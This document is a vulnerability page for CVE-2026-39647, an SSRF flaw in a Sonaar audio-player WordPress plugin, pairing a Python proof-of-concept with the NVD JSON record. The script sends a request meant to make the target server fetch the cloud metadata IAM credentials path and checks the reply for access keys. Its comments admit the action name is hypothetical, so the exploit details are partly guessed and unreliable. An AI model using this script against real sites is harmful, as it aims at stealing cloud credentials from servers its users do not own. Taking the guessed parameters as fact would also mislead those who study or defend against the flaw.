CVE-2026-39647

import requests def check_ssrf(target_url): """ Proof of Concept for CVE-2026-39647 This script attempts to trigger an SSRF by sending a payload to the vulnerable plugin. """ # The vulnerable endpoint might vary, typically an AJAX action or REST API endpoint # This is a hypothetical example based on common WordPress plugin structures. endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to access internal metadata (common SSRF test) # In a real scenario, the attacker might use dnslog to verify out-of-band interactions malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "action": "sonaar_music_player_action", # Hypothetical action name "audio_url": malicious_url } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, data=payload, timeout=10) # Check if the response contains indicators of successful internal access if response.status_code == 200 and ("Code" in response.text or "AccessKeyId" in response.text): print("[!] Potential SSRF vulnerability confirmed!") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Exploit failed or not vulnerable. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with the target WordPress site check_ssrf(target)

{"cve": {"id": "CVE-2026-39647", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:35.620", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in sonaar MP3 Audio Player for Music, Radio & Podcast by Sonaar mp3-music-player-by-sonaar allows Server Side Request Forgery.This issue affects MP3 Audio Player for Music, Radio & Podcast by Sonaar: from n/a through <= 5.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mp3-music-player-by-sonaar/vulnerability/wordpress-mp3-audio-player-for-music-radio-podcast-by-sonaar-plugin-5-11-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}